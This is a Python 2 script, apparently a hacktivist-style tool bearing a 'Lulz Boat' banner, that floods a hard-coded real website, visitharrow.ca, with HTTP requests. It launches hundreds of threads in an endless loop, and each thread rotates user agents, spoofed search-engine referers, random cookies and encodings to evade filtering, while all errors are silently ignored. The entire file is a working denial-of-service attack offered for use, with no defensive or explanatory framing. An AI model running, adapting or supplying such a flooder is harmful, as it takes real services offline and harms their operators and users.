#!/usr/bin/env python from threading import Thread import datetime, threading, urllib, urllib2, random, time, ssl, os, string from time import sleep os.system('cls' if os.name == 'nt' else 'clear') print time.strftime("%b %d %Y %H:%M:%S") print \ """\033[1;34m _____|\ _.--| LOL |: <____|.----|| .---''---, The ;..__..' _... Lulz ,'/ ;|/..--'' \ Boat ,'_/.-/': : _..-'''/ / | \ \ _|/| \ /-./_ \; \ \,;' \ ,\ / \: `:\ \ // `:`. ,' \ /-._; | : : :: ,. . ,' :: /`-._| | | || ' : `.`.) _,' |;._:: | | | | `| : `' ,' `. / |`-:_ ; | | | : \ `--. ) /|-._: : | \ \ / / :_| ;`-._; __..--'; : : / ( ;|;-./_ _/.-:'o | / ' | / , \._/_/_./--''/_|:|___|_,' | : / `'-'--'----'---------' | | : O ._O O_. O ._O O_. ; ; : `. // // // // ,' / ~~~`.______//____//____//____//_______,'~ // //~ // // ~~ _// _// _// ~ _// ~ ~ / / / / / / / / ~ ~~ ~~~ ~~~ ~~~ ~~~ \033[1;m""" url='http://visitharrow.ca' keyword=[ "Pigeon", "Pigeons" ] referer = [ "https://search.aol.com/aol/search?s_chn=prt_bon&q="+url+"&s_it=comsearch", "https://www.ask.com/web?o=0&l=dir&qo=serpSearchTopBox&q="+url, "https://www.google.co.uk/search?client=opera&q="+url, "https://www.bing.com/search?q="+url, "https://duckduckgo.com/?q="+url+"&ia=web", "https://search.aol.com/aol/search?s_chn=prt_bon&q="+random.choice(keyword)+"&s_it=comsearch", "https://www.ask.com/web?o=0&l=dir&qo=serpSearchTopBox&q="+random.choice(keyword), "https://www.google.co.uk/search?client=opera&q="+random.choice(keyword), "https://www.bing.com/search?q="+random.choice(keyword), "https://duckduckgo.com/?q="+random.choice(keyword)+"&ia=web" ] def buildblock(self, size): out_str = '' _LOWERCASE = range(97, 122) _UPPERCASE = range(65, 90) _NUMERIC = range(48, 57) validChars = _LOWERCASE + _UPPERCASE + _NUMERIC for i in range(0, size): a = random.choice(validChars) out_str += chr(a) return out_str useragents=[ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 'Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)', 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' ] encoding=[ "gzip;q=1.0, identity; q=0.5, *;q=0", "compress;q=0.5, gzip;q=1.0", "compress, gzip", "*" ] wd=[ '-Pigeons', '-Shan' ] word=random.choice(wd) rondom = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(8)]) cookie=rondom+word class HTTPthread(threading.Thread): def run(self): while True: try: test = urllib.urlopen(url).read() sane = 0 needlestack = [] while sane == 0: curpos = test.find("href") if curpos >= 0: testlen = len(test) test = test[curpos:testlen] curpos = test.find('"') testlen = len(test) test = test[curpos+1:testlen] curpos = test.find('"') needle = test[0:curpos] if needle.startswith("http" or "www"): needlestack.append(needle) else: sane = 1 for item in needlestack: load = urllib.urlopen(url).read() if ' ' in load: ssl._create_default_https_context = ssl._create_unverified_context req = urllib2.Request(url) opener = urllib2.build_opener(urllib2.HTTPSHandler(debuglevel=1),urllib2.HTTPHandler(debuglevel=1),urllib2.HTTPRedirectHandler()) urllib2.install_opener(opener) req.add_header("User-Agent", random.choice(useragents)) #req.add_header("User-Agent", ua.random) req.add_header("Connection", "Keep-alive") req.add_header("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7") req.add_header("Keep-alive", random.randint(110,120)) req.add_header("Cookie", cookie) req.add_header("Accept-Encoding", random.choice(encoding)) req.add_header("Referer", random.choice(referer)) urllib2.urlopen(req) except Exception: pass while True: try: for i in range(500): t = HTTPthread() t.start() except Exception: pass if __name__ == "__main__": pass